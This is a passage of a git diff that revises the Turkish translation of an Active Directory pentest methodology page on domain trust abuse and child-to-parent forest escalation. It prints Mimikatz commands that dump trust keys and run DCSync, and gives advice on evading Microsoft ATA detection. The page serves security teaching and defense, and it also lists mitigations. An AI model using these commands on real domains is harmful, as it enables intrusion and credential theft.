TGT'yi **Domain 2'nin Domain Controller'ı (DC2)**'ye götürür. -6. DC2, inter-realm TGT'yi paylaşılan güven anahtarı ile doğrular ve geçerli ise, istemcinin erişmek istediği Domain 2'deki sunucu için bir **Ticket Granting Service (TGS)** verir. -7. Son olarak, istemci bu TGS'yi sunucuya sunar; bu, sunucunun hesap hash'i ile şifrelenmiştir ve Domain 2'deki hizmete erişim sağlar. +1. Bir **istemci bilgisayar** Domain 1'de, **NTLM hash**ini kullanarak **Ticket Granting Ticket (TGT)** talep etmek için Domain Controller'ı (DC1) ile iletişime başlar. +2. DC1, istemci başarıyla kimlik doğrulandıysa yeni bir TGT verir. +3. İstemci daha sonra **Domain 2** kaynaklarına erişmek için DC1'den bir **inter-realm TGT** talep eder. +4. Inter-realm TGT, iki yönlü domain trust kapsamında DC1 ve DC2 arasında paylaşılan bir **trust key** ile şifrelenir. +5. İstemci inter-realm TGT'yi **Domain 2'nin Domain Controller'ı (DC2)**'ye götürür. +6. DC2, inter-realm TGT'yi paylaşılan trust key ile doğrular ve geçerliyse istemcinin erişmek istediği Domain 2 içindeki sunucu için bir **Ticket Granting Service (TGS)** verir. +7. Son olarak, istemci bu TGS'yi sunucuya sunar; TGS sunucunun hesap hash'i ile şifrelenmiştir ve böylece Domain 2'deki servise erişim sağlanır. -### Farklı güvenler +### Farklı trust türleri -**Bir güvenin 1 yönlü veya 2 yönlü** olabileceğini belirtmek önemlidir. 2 yönlü seçeneklerde, her iki alan birbirine güvenecektir, ancak **1 yönlü** güven ilişkisi durumunda bir alan **güvenilir** ve diğeri **güvenen** alan olacaktır. Son durumda, **güvenilir alandan güvenen alana** yalnızca güvenen alan içindeki kaynaklara erişim sağlanabilir. +Bir trust'ın **1 yönlü** veya **2 yönlü** olabileceğini fark etmek önemlidir. 2 yönlü seçenekte her iki domain birbirine güvenir, fakat **1 yönlü** trust ilişkisinde bir domain **trusted**, diğeri ise **trusting** domain olur. Bu durumda, **trusted** domain'den **trusting** domain içindeki kaynaklara erişebilirsiniz. -Eğer Alan A, Alan B'ye güveniyorsa, A güvenen alan ve B güvenilir alandır. Ayrıca, **Alan A**'da bu bir **Çıkış güveni**; ve **Alan B**'de bu bir **Giriş güveni** olacaktır. +Eğer Domain A, Domain B'ye güveniyorsa, A trusting domain; B ise trusted domain'dir. Ayrıca, **Domain A**'da bu bir **Outbound trust**; **Domain B**'de ise bir **Inbound trust** olur. -**Farklı güven ilişkileri** +**Farklı trusting ilişkileri** -- **Anaç-Çocuk Güvenleri**: Bu, aynı orman içinde yaygın bir yapılandırmadır; burada bir çocuk alanı otomatik olarak ana alanı ile iki yönlü geçişli bir güvene sahiptir. Temelde, kimlik doğrulama talepleri ana ve çocuk arasında sorunsuz bir şekilde akabilir. -- **Çapraz Bağlantı Güvenleri**: "Kestirme güvenler" olarak adlandırılan bu güvenler, referans süreçlerini hızlandırmak için çocuk alanları arasında kurulur. Karmaşık ormanlarda, kimlik doğrulama referanslarının genellikle orman köküne kadar gitmesi ve ardından hedef alana inmesi gerekir. Çapraz bağlantılar oluşturarak, yolculuk kısaltılır; bu, coğrafi olarak dağılmış ortamlarda özellikle faydalıdır. -- **Dış Güvenler**: Farklı, alakasız alanlar arasında kurulan bu güvenler doğası gereği geçişli değildir. [Microsoft'un belgelerine]() göre, dış güvenler, mevcut ormanın dışında, orman güveni ile bağlı olmayan bir alandaki kaynaklara erişim için yararlıdır. Güvenlik, dış güvenlerle SID filtrelemesi ile artırılır. -- **Ağaç-kök Güvenleri**: Bu güvenler, orman kök alanı ile yeni eklenen bir ağaç kökü arasında otomatik olarak kurulur. Genellikle karşılaşılmasa da, ağaç-kök güvenleri, yeni alan ağaçlarını bir ormana eklemek için önemlidir; bu, benzersiz bir alan adı korumalarına olanak tanır ve iki yönlü geçişkenliği sağlar. Daha fazla bilgi [Microsoft'un kılavuzunda]() bulunabilir. -- **Orman Güvenleri**: Bu tür bir güven, iki orman kök alanı arasında iki yönlü geçişli bir güven olup, güvenlik önlemlerini artırmak için SID filtrelemesi uygular. -- **MIT Güvenleri**: Bu güvenler, Windows dışındaki, [RFC4120 uyumlu](https://tools.ietf.org/html/rfc4120) Kerberos alanları ile kurulur. MIT güvenleri, Windows ekosisteminin dışındaki Kerberos tabanlı sistemlerle entegrasyon gerektiren ortamlara yönelik daha özel bir yapıdadır. +- **Parent-Child Trusts**: Aynı forest içinde yaygın bir yapı olup, child domain otomatik olarak parent domain ile iki yönlü ve transitif bir trust'a sahiptir. Bu, parent ve child arasında kimlik doğrulama taleplerinin sorunsuz akabileceği anlamına gelir. +- **Cross-link Trusts**: "shortcut trusts" olarak adlandırılır; child domain'ler arasında yönlendirme süreçlerini hızlandırmak için kurulur. Karmaşık forest'larda, kimlik doğrulama yönlendirmeleri genellikle forest root'a kadar yükselip hedef domain'e geri inmelidir. Cross-link'ler bu süreci kısaltır ve özellikle coğrafi olarak dağılmış ortamlarda faydalıdır. +- **External Trusts**: Farklı, ilişkisiz domain'ler arasında kurulur ve doğası gereği non-transitive'dir. [Microsoft dokümantasyonuna]() göre, external trust'lar forest dışında kalan ve forest trust ile bağlı olmayan bir domain'deki kaynaklara erişim için kullanışlıdır. Güvenlik, external trust'larla SID filtering uygulanarak güçlendirilir. +- **Tree-root Trusts**: Forest root domain ile yeni eklenen bir tree root arasında otomatik olarak oluşturulan trust'lardır. Sık karşılaşılmasa da, yeni domain ağaçları eklerken önemlidir; iki yönlü transitivite sağlar ve yeni ağaçların benzersiz domain adını korumasına olanak tanır. Daha fazla bilgi için [Microsoft rehberine]() bakabilirsiniz. +- **Forest Trusts**: İki forest root domain arasında kurulan iki yönlü transitif trust'lardır ve SID filtering ile güvenlik önlemleri uygulanır. +- **MIT Trusts**: Windows dışı, [RFC4120 uyumlu](https://tools.ietf.org/html/rfc4120) Kerberos domain'leriyle kurulan trust'lardır. MIT trust'ları daha özel olup, Windows ekosisteminin dışındaki Kerberos tabanlı sistemlerle entegrasyon gerektiren ortamlara yöneliktir. -#### **Güven ilişkilerindeki diğer farklılıklar** +#### Trust ilişkilerindeki diğer farklılıklar -- Bir güven ilişkisi **geçişli** (A güveniyor B, B güveniyor C, o zaman A güveniyor C) veya **geçişli olmayan** olabilir. -- Bir güven ilişkisi **iki yönlü güven** (her ikisi de birbirine güvenir) veya **bir yönlü güven** (sadece biri diğerine güvenir) olarak kurulabilir. +- Bir trust ilişkisi aynı zamanda **transitive** (A B'ye, B C'ye güveniyorsa A C'ye güvenir) veya **non-transitive** olabilir. +- Bir trust ilişkisi **çift yönlü trust** (her iki taraf da birbirine güvenir) veya **tek yönlü trust** (sadece biri diğerine güvenir) olarak kurulabilir. ### Saldırı Yolu -1. **Güven ilişkilerini** listeleyin -2. Herhangi bir **güvenlik ilkesi** (kullanıcı/grup/bilgisayar) **diğer alanın** kaynaklarına **erişime** sahip mi kontrol edin; belki ACE girişleri veya diğer alanın gruplarında yer alarak. **Alanlar arası ilişkileri** arayın (güven bu nedenle oluşturulmuş olabilir). -1. Bu durumda kerberoast başka bir seçenek olabilir. -3. **Hesapları tehlikeye atın** ve **alanlar arasında geçiş yapın**. +1. **Trusting ilişkilerini** enumerate edin +2. Hangi **security principal**(kullanıcı/grup/bilgisayar)'ın diğer domain kaynaklarına **erişimi** olup olmadığını kontrol edin; belki ACE girdileri veya diğer domain gruplarında üyelik yoluyla. **Domainler arası ilişkiler** arayın (trust büyük ihtimalle bunun için oluşturulmuştur). +1. Bu durumda kerberoast da başka bir seçenek olabilir. +3. Domainler arasında **pivot** yapabilecek **hesapları compromet** edin. -Saldırganlar, başka bir alandaki kaynaklara erişim sağlamak için üç ana mekanizma kullanabilir: +Başka bir domaine kaynaklara erişebilecek saldırganların erişimi üç ana mekanizma aracılığıyla olabilir: -- **Yerel Grup Üyeliği**: İlkeler, sunucudaki "Yönetici" grubu gibi makinelerde yerel gruplara eklenebilir ve bu da onlara o makine üzerinde önemli kontrol sağlar. -- **Yabancı Alan Grup Üyeliği**: İlkeler, yabancı alandaki grupların da üyesi olabilir. Ancak, bu yöntemin etkinliği güvenin doğasına ve grubun kapsamına bağlıdır. -- **Erişim Kontrol Listeleri (ACL'ler)**: İlkeler, belirli kaynaklara erişim sağlamak için bir **ACL**'de, özellikle bir **DACL** içindeki **ACE'ler** olarak belirtilmiş olabilir. ACL'ler, DACL'ler ve ACE'ler hakkında daha derinlemesine bilgi edinmek isteyenler için “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” başlıklı beyaz kağıt değerli bir kaynaktır. +- **Local Group Membership**: Principal'lar makinelere, örneğin bir sunucudaki “Administrators” grubuna eklenmiş olabilir; bu da o makine üzerinde önemli kontrol sağlar. +- **Foreign Domain Group Membership**: Principal'lar ayrıca yabancı domain içindeki grupların üyeleri olabilir. Ancak bu yöntemin etkinliği trust'ın doğasına ve grubun kapsamına bağlıdır. +- **Access Control Lists (ACLs)**: Principal'lar özellikle bir **DACL** içindeki **ACE**'lerde belirtilmiş olabilir ve belirli kaynaklara erişim sağlayabilir. ACL'ler, DACL'ler ve ACE'lerin mekanik detaylarına dalmak isteyenler için “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” whitepaper'ı değerli bir kaynaktır. -### Dış kullanıcılar/gruplar ile izinleri bulma +### Harici kullanıcı/grupları izinlere göre bulma -**`CN=,CN=ForeignSecurityPrincipals,DC=domain,DC=com`**'yi kontrol ederek, alandaki yabancı güvenlik ilkelerini bulabilirsiniz. Bunlar, **bir dış alan/orman**'dan gelen kullanıcı/gruplardır. +Domain içindeki foreign security principal'ları bulmak için **`CN=,CN=ForeignSecurityPrincipals,DC=domain,DC=com`** kontrol edebilirsiniz. Bunlar **harici bir domain/forest**'ten gelen kullanıcı/gruplar olacaktır. Bunu **Bloodhound** veya powerview kullanarak kontrol edebilirsiniz: ```powershell @@ -573,7 +613,7 @@ Get-DomainForeignUser # Get groups inside a domain with users our Get-DomainForeignGroupMember ``` -### Child-to-Parent orman ayrıcalık yükseltmesi +### Alt ormandan üst ormana ayrıcalık yükseltme ```bash # Fro powerview Get-DomainTrust @@ -586,7 +626,7 @@ TrustDirection : Bidirectional --> Trust direction (2ways in this case) WhenCreated : 2/19/2021 1:28:00 PM WhenChanged : 2/19/2021 1:28:00 PM ``` -Alan güvenlerini listelemenin diğer yolları: +Domain trusts'leri enumerate etmenin diğer yolları: ```bash # Get DCs nltest /dsgetdc: @@ -599,63 +639,66 @@ nltest /dclist:sub.domain.local nltest /server:dc.sub.domain.local /domain_trusts /all_trusts ``` > [!WARNING] -> **2 güvenilir anahtar** vardır, biri _Çocuk --> Ebeveyn_ ve diğeri _Ebeveyn_ --> _Çocuk_ için.\ -> Mevcut alan tarafından kullanılanı şu komutla alabilirsiniz: +> Toplam **2 güvenilen anahtar** vardır; biri _Child --> Parent_ için, diğeri ise _Parent_ --> _Child_ içindir.\ +> Geçerli alan tarafından kullanılan anahtarı şu komutlarla görebilirsiniz: > > ```bash > Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local > Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\mcorp$"' > ``` -#### SID-History Enjeksiyonu +#### SID-History Injection + +SID-History injection ile trust'ı suistimal ederek child/parent alanına Enterprise admin olarak yükseltme: -SID-History enjeksiyonunu kullanarak çocuk/ebeveyn alanına Enterprise admin olarak yükselin: {{#ref}} sid-history-injection.md {{#endref}} -#### Yazılabilir Yapılandırma NC'yi Sömürme +#### Exploit writeable Configuration NC -Yapılandırma İsimlendirme Bağlamı (NC) nasıl sömürülebileceğini anlamak kritik öneme sahiptir. Yapılandırma NC, Active Directory (AD) ortamlarında bir orman genelinde yapılandırma verileri için merkezi bir depo işlevi görür. Bu veriler, ormandaki her Alan Denetleyicisi (DC) ile çoğaltılır ve yazılabilir DC'ler, Yapılandırma NC'nin yazılabilir bir kopyasını tutar. Bunu sömürmek için, bir DC üzerinde **SYSTEM ayrıcalıklarına** sahip olmak gerekir, tercihen bir çocuk DC. +Configuration Naming Context (NC)'nin nasıl istismar edilebileceğini anlamak kritik öneme sahiptir. Configuration NC, Active Directory (AD) ortamlarında bir forest içindeki yapılandırma verileri için merkezi bir depo görevi görür. Bu veriler forest içindeki her Domain Controller (DC)'ye replike edilir; yazılabilir DC'ler Configuration NC'nin yazılabilir bir kopyasını tutar. Bunu istismar edebilmek için bir DC üzerinde **SYSTEM ayrıcalıklarına** sahip olmak gerekir; tercihen child DC üzerinde. -**GPO'yu kök DC alanına bağlayın** +**Link GPO to root DC site** -Yapılandırma NC'nin Siteler konteyneri, AD ormanındaki tüm alan bağlı bilgisayarların siteleri hakkında bilgi içerir. Herhangi bir DC üzerinde SYSTEM ayrıcalıkları ile çalışan saldırganlar, GPO'ları kök DC alanlarına bağlayabilir. Bu eylem, bu alanlara uygulanan politikaları manipüle ederek kök alanı tehlikeye atabilir. +Configuration NC'nin Sites container'ı, AD forest içindeki tüm alana katılmış bilgisayarların site bilgilerini içerir. Herhangi bir DC üzerinde SYSTEM ayrıcalıklarıyla hareket ederek, saldırganlar GPO'ları root DC site'larına linkleyebilirler. Bu eylem, bu sitelere uygulanan politikaları manipüle ederek root domain'in tehlikeye girmesine yol açabilir. -Derinlemesine bilgi için, [SID Filtrelemesini Aşma](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research) üzerine yapılan araştırmalara göz atılabilir. +Detaylı bilgi için [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research) araştırmasına bakılabilir. -**Ormandaki herhangi bir gMSA'yı tehlikeye atma** +**Compromise any gMSA in the forest** -Bir saldırı vektörü, alan içindeki ayrıcalıklı gMSA'ları hedef almayı içerir. gMSA'ların şifrelerini hesaplamak için gerekli olan KDS Root anahtarı, Yapılandırma NC içinde saklanır. Herhangi bir DC üzerinde SYSTEM ayrıcalıkları ile, KDS Root anahtarına erişmek ve ormandaki herhangi bir gMSA'nın şifrelerini hesaplamak mümkündür. +Bir saldırı vektörü, alandaki ayrıcalıklı gMSA'ları hedeflemeyi içerir. gMSA'ların parolalarını hesaplamak için gerekli olan KDS Root key, Configuration NC içinde saklanır. Herhangi bir DC üzerinde SYSTEM ayrıcalıklarına sahip olarak, KDS Root key'e erişmek ve forest içindeki herhangi bir gMSA'nın parolasını hesaplamak mümkündür. + +Detaylı analiz ve adım adım rehber için: -Ayrıntılı analiz ve adım adım rehberlik için: {{#ref}} golden-dmsa-gmsa.md {{#endref}} -Tamamlayıcı delege MSA saldırısı (BadSuccessor – göç niteliklerini kötüye kullanma): +Tamamlayıcı delegated MSA saldırısı (BadSuccessor – migration attribute'larını suistimal etme): + {{#ref}} badsuccessor-dmsa-migration-abuse.md {{#endref}} -Ek dış araştırma: [Altın gMSA Güven Saldırıları](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent). +Ek dış araştırma: [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent). -**Şema değişikliği saldırısı** +**Schema change attack** -Bu yöntem, yeni ayrıcalıklı AD nesnelerinin oluşturulmasını bekleyerek sabır gerektirir. SYSTEM ayrıcalıkları ile, bir saldırgan AD Şemasını değiştirerek herhangi bir kullanıcıya tüm sınıflar üzerinde tam kontrol verebilir. Bu, yeni oluşturulan AD nesnelerine yetkisiz erişim ve kontrol sağlayabilir. +Bu yöntem sabır gerektirir; yeni ayrıcalıklı AD nesnelerinin oluşturulmasını beklemeyi içerir. SYSTEM ayrıcalıkları ile bir saldırgan AD Şeması'nı, herhangi bir kullanıcıya tüm sınıflar üzerinde tam kontrol verecek şekilde değiştirebilir. Bu, yeni oluşturulan AD nesneleri üzerinde yetkisiz erişim ve kontrol ile sonuçlanabilir. -Daha fazla okuma için [Şema Değişikliği Güven Saldırıları](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent) üzerine göz atılabilir. +Daha fazla okumak için [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent) kaynağına bakın. -**DA'dan EA'ya ADCS ESC5 ile** +**From DA to EA with ADCS ESC5** -ADCS ESC5 açığı, orman içindeki herhangi bir kullanıcı olarak kimlik doğrulama sağlayan bir sertifika şablonu oluşturmak için Kamu Anahtar Altyapısı (PKI) nesneleri üzerindeki kontrolü hedef alır. PKI nesneleri Yapılandırma NC içinde bulunduğundan, yazılabilir bir çocuk DC'yi tehlikeye atmak, ESC5 saldırılarının gerçekleştirilmesini sağlar. +ADCS ESC5 zafiyeti, PKI nesneleri üzerinde kontrol edin hedef alır ve forest içindeki herhangi bir kullanıcı olarak kimlik doğrulaması yapmayı sağlayan bir certificate template oluşturmayı mümkün kılar. PKI nesneleri Configuration NC içinde bulunduğundan, yazılabilir bir child DC'nin ele geçirilmesi ESC5 saldırılarının gerçekleştirilmesine imkan verir. -Bununla ilgili daha fazla ayrıntı [DA'dan EA'ya ESC5 ile](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c) adresinde okunabilir. ADCS olmayan senaryolarda, saldırgan gerekli bileşenleri kurma yeteneğine sahiptir; bu, [Çocuk Alan Yöneticilerinden Kurumsal Yöneticilere Yükselme](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/) başlığında tartışılmıştır. +Bununla ilgili daha fazla detayı [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c) makalesinde okuyabilirsiniz. ADCS olmayan senaryolarda, saldırgan gerekli bileşenleri kurma yeteneğine sahiptir; bu konu [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/) makalesinde tartışılmaktadır. -### Dış Orman Alanı - Tek Yönlü (Giriş) veya iki yönlü +### External Forest Domain - One-Way (Inbound) or bidirectional ```bash Get-DomainTrust SourceName : a.domain.local --> Current domain @@ -666,13 +709,14 @@ TrustDirection : Inbound --> Inboud trust WhenCreated : 2/19/2021 10:50:56 PM WhenChanged : 2/19/2021 10:50:56 PM ``` -Bu senaryoda **alanınız dış bir alan tarafından güvenilir** kılınmıştır ve size **belirsiz izinler** vermektedir. **Alanınızdaki hangi ilkelerin dış alanda hangi erişimlere sahip olduğunu** bulmanız ve ardından bunu istismar etmeye çalışmanız gerekecek: +Bu senaryoda **domain'iniz** dış bir domain tarafından trusted edilmiş olup, size onun üzerinde **belirsiz permissions** vermiştir. Hangi domain principals'lerinizin dış domain üzerinde hangi erişime sahip olduğunu bulmanız ve ardından bunu exploit etmeye çalışmanız gerekecek: + {{#ref}} external-forest-domain-oneway-inbound.md {{#endref}} -### Dış Orman Alanı - Tek Yönlü (Çıkış) +### Harici Forest Domain - Tek Yönlü (Outbound) ```bash Get-DomainTrust -Domain current.local @@ -684,39 +728,42 @@ TrustDirection : Outbound --> Outbound trust WhenCreated : 2/19/2021 10:15:24 PM WhenChanged : 2/19/2021 10:15:24 PM ``` -Bu senaryoda **domaininiz**, **farklı domainlerden** bir **prensipe** bazı **yetkiler** **veriyor**. +In this senaryoda **alanınız**, **farklı bir alandan** gelen bir principal'e bazı **yetkiler** veriyor. + +Ancak, bir **domain trusting domain tarafından trust edildiğinde**, trusted domain, **tahmin edilebilir isimli bir kullanıcı** oluşturur ve **parola olarak trusted password** kullanır. Bu, trusting domain'deki bir kullanıcıya **erişerek trusted domaine girmek**, onu keşfetmek ve daha fazla ayrıcalık yükseltmeye çalışmak için mümkün olduğu anlamına gelir: -Ancak, bir **domain, güvenilen domain** tarafından **güvenilir** olduğunda, güvenilen domain **tahmin edilebilir bir isimle** bir **kullanıcı oluşturur** ve bu kullanıcı **güvenilen şifreyi** **şifre** olarak kullanır. Bu, **güvenilen domain içindeki bir kullanıcıya erişim sağlamak için güvenen domain'den bir kullanıcıya erişmenin** mümkün olduğu anlamına gelir; bu da onu listelemek ve daha fazla yetki artırmaya çalışmak için kullanılabilir: {{#ref}} external-forest-domain-one-way-outbound.md {{#endref}} -Güvenilen domaini tehlikeye atmanın bir başka yolu, **domain güveni** yönünde **oluşturulmuş bir [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links)** bulmaktır (bu çok yaygın değildir). +Trusted domain'i ele geçirmenin bir diğer yolu, domain trust'unun **ters yönünde** oluşturulmuş bir [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links) bulmaktır (bu çok yaygın değildir). + +Trusted domain'i ele geçirmenin başka bir yolu da, **trusted domain'den bir kullanıcının RDP ile giriş yapabildiği** bir makinede beklemektir. Saldırgan daha sonra RDP oturumu sürecine kod enjekte edebilir ve oradan **kurbanın asıl domainine erişebilir**. +Ayrıca, eğer **kurban sabit diskini mount ettiyse**, saldırgan **RDP session** sürecinden sabit diskin **startup folder**'ına **backdoors** yerleştirebilir. Bu teknik **RDPInception** olarak adlandırılır. -Güvenilen domaini tehlikeye atmanın bir başka yolu, **güvenilen domain'den bir kullanıcının erişebileceği** bir makinede beklemektir. Ardından, saldırgan RDP oturum sürecine kod enjekte edebilir ve **kurbanın orijinal domainine** buradan erişebilir.\ -Ayrıca, eğer **kurban sabit diskini bağladıysa**, saldırgan **RDP oturum** sürecinden **sabit diskin başlangıç klasörüne** **arka kapılar** depolayabilir. Bu teknik **RDPInception** olarak adlandırılır. {{#ref}} rdp-sessions-abuse.md {{#endref}} -### Domain güveni kötüye kullanma azaltma +### Domain trust kötüye kullanımı azaltma -### **SID Filtreleme:** +### **SID Filtering:** -- Orman güvenleri boyunca SID geçmişi niteliğini kullanan saldırı riskleri, varsayılan olarak tüm inter-orman güvenlerinde etkinleştirilen SID Filtreleme ile azaltılmaktadır. Bu, Microsoft'un görüşüne göre ormanı, domain yerine güvenlik sınırı olarak kabul eden varsayıma dayanmaktadır. -- Ancak, bir sorun var: SID filtreleme, uygulamaları ve kullanıcı erişimini etkileyebilir, bu da bazen devre dışı bırakılmasına yol açabilir. +- Ormanlar arası trustlarda SID history özniteliğini kullanan saldırı riski, tüm inter-forest trust'larda varsayılan olarak etkin olan SID Filtering ile azaltılır. Bu, Microsoft'un yaklaşımına göre güvenlik sınırını domain yerine forest olarak kabul eden varsayıma dayanır. +- Ancak bir sorun vardır: SID Filtering uygulamaları ve kullanıcı erişimini bozabilir; bu yüzden zaman zaman devre dışı bırakılabilir. -### **Seçici Kimlik Doğrulama:** +### **Selective Authentication:** -- Inter-orman güvenleri için Seçici Kimlik Doğrulama kullanmak, iki ormandan gelen kullanıcıların otomatik olarak kimlik doğrulamasını sağlamaz. Bunun yerine, güvenen domain veya ormandaki domainlere ve sunuculara erişim için açık izinler gereklidir. -- Bu önlemlerin, yazılabilir Yapılandırma İsimlendirme Bağlamı (NC) istismarına veya güven hesaplarına yönelik saldırılara karşı koruma sağlamadığını belirtmek önemlidir. +- Inter-forest trust'lar için Selective Authentication kullanılması, iki ormandan gelen kullanıcıların otomatik olarak kimlik doğrulamasına izin verilmemesini sağlar. Bunun yerine, kullanıcıların trusting domain veya forest içindeki domainlere ve sunuculara erişebilmesi için açık izinler gerekir. +- Bu önlemlerin writable Configuration Naming Context (NC)'in kötüye kullanımı veya trust account'a yönelik saldırılara karşı koruma sağlamadığını not etmek önemlidir. -[**Domain güvenleri hakkında daha fazla bilgi için ired.team'e bakın.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain) +[**Domain trust'ları hakkında daha fazla bilgi ired.team'de.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain) ## AD -> Azure & Azure -> AD + {{#ref}} https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/index.html {{#endref}} @@ -725,29 +772,29 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move [**Kimlik bilgilerini koruma hakkında daha fazla bilgi edinin.**](../stealing-credentials/credentials-protections.md) -### **Kimlik Bilgisi Koruma için Savunma Önlemleri** +### **Kimlik Bilgilerini Koruma için Savunma Önlemleri** -- **Domain Yöneticisi Kısıtlamaları**: Domain Yöneticilerinin yalnızca Domain Kontrolcülerine giriş yapmalarına izin verilmesi önerilir; diğer hostlarda kullanılmamalıdır. -- **Hizmet Hesabı Yetkileri**: Hizmetler, güvenliği sağlamak için Domain Yöneticisi (DA) yetkileri ile çalıştırılmamalıdır. -- **Geçici Yetki Sınırlaması**: DA yetkileri gerektiren görevler için süreleri sınırlı olmalıdır. Bu, `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)` ile gerçekleştirilebilir. +- **Domain Admins Restrictions**: Domain Admins'in sadece Domain Controller'lara giriş yapmasına izin verilmesi ve diğer hostlarda kullanılmaması önerilir. +- **Service Account Privileges**: Servisler güvenlik için Domain Admin (DA) yetkileriyle çalıştırılmamalıdır. +- **Temporal Privilege Limitation**: DA yetkisi gerektiren görevler için süre sınırlı olmalıdır. Bu şu komutla yapılabilir: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)` -### **Aldatma Tekniklerini Uygulama** +### **Aldatma (Deception) Tekniklerini Uygulama** -- Aldatma uygulamak, şifrelerin süresi dolmayan veya Delegasyon için Güvenilir olarak işaretlenmiş sahte kullanıcılar veya bilgisayarlar gibi tuzaklar kurmayı içerir. Detaylı bir yaklaşım, belirli haklara sahip kullanıcılar oluşturmayı veya bunları yüksek yetkili gruplara eklemeyi içerir. -- Pratik bir örnek, `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose` gibi araçlar kullanmaktır. -- Aldatma tekniklerini dağıtma hakkında daha fazla bilgi [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception) adresinde bulunabilir. +- Aldatma uygulamak, parola süresi dolmayan veya Trusted for Delegation olarak işaretlenmiş gibi özelliklere sahip tuzak kullanıcılar veya bilgisayarlar oluşturmayı içerir. Ayrıntılı bir yaklaşım, belirli haklara sahip kullanıcılar oluşturmayı veya bunları yüksek ayrıcalıklı gruplara eklemeyi içerir. +- Pratik bir örnek aşağıdaki komutların kullanılmasını içerir: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose` +- Aldatma tekniklerini dağıtma hakkında daha fazlasını [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception)'ta bulabilirsiniz. -### **Aldatmayı Tanımlama** +### **Aldatmayı Tespit Etme** -- **Kullanıcı Nesneleri için**: Şüpheli göstergeler arasında alışılmadık ObjectSID, nadir oturum açma, oluşturma tarihleri ve düşük kötü şifre sayıları bulunur. -- **Genel Göstergeler**: Potansiyel sahte nesnelerin özelliklerini gerçek olanlarla karşılaştırmak, tutarsızlıkları ortaya çıkarabilir. [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) gibi araçlar, bu tür aldatmaları tanımlamaya yardımcı olabilir. +- **User Nesneleri için**: Şüpheli göstergeler arasında alışılmadık ObjectSID, nadir oturum açmalar, oluşturulma tarihleri ve düşük kötü parola sayıları bulunur. +- **Genel Göstergeler**: Potansiyel tuzak nesnelerin özniteliklerini gerçek nesnelerinkilerle karşılaştırmak tutarsızlıkları ortaya çıkarabilir. [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) gibi araçlar bu tür aldatmaları tespit etmede yardımcı olabilir. -### **Algılama Sistemlerini Aşma** +### **Tespit Sistemlerini Atlama** -- **Microsoft ATA Algılama Aşma**: -- **Kullanıcı Sayımı**: ATA algılamasını önlemek için Domain Kontrolcülerinde oturum sayımından kaçınmak. -- **Bilet Taklidi**: Bilet oluşturmak için **aes** anahtarlarını kullanmak, NTLM'ye düşmeden algılamadan kaçınmaya yardımcı olur. -- **DCSync Saldırıları**: ATA algılamasından kaçınmak için bir Domain Kontrolcüsünden değil, başka bir yerden yürütülmesi önerilir; çünkü doğrudan bir Domain Kontrolcüsünden yürütmek uyarıları tetikler. +- **Microsoft ATA Detection Bypass**: +- **User Enumeration**: ATA tespitini önlemek için Domain Controller'larda oturum numaralandırmasından kaçınmak. +- **Ticket Impersonation**: Ticket oluşturmak için **aes** anahtarlarının kullanılması, NTLM'e düşürme yapmayarak tespitten kaçınmaya yardımcı olur. +- **DCSync Attacks**: ATA tespitini önlemek için bir Domain Controller olmayan makinadan yürütülmesi tavsiye edilir; çünkü doğrudan bir Domain Controller'dan yürütülmesi uyarıları tetikler. ## Referanslar diff --git a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md index b2b165504..4a882cf17 100644 --- a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md +++ b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md @@ -1,71 +1,80 @@ -# Active Directory ACL'lerini/ACE'lerini Kötüye Kullanma +# Active Directory ACLs/ACEs'yi Kötüye Kullanma {{#include ../../../banners/hacktricks-training.md}} -**Bu sayfa,** 